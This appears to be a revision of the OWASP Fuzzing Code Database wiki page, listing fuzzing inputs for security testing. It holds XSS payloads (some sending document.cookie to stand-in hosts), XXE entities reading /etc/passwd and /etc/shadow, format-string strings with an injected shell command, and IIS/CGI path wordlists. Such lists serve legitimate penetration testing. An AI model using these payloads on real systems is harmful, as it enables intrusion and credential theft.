HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81140 2010-04-08T18:41:02Z

<p>Adam.muntner: /* Microsoft URLs (18 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (8 April 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (8 April 2010)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 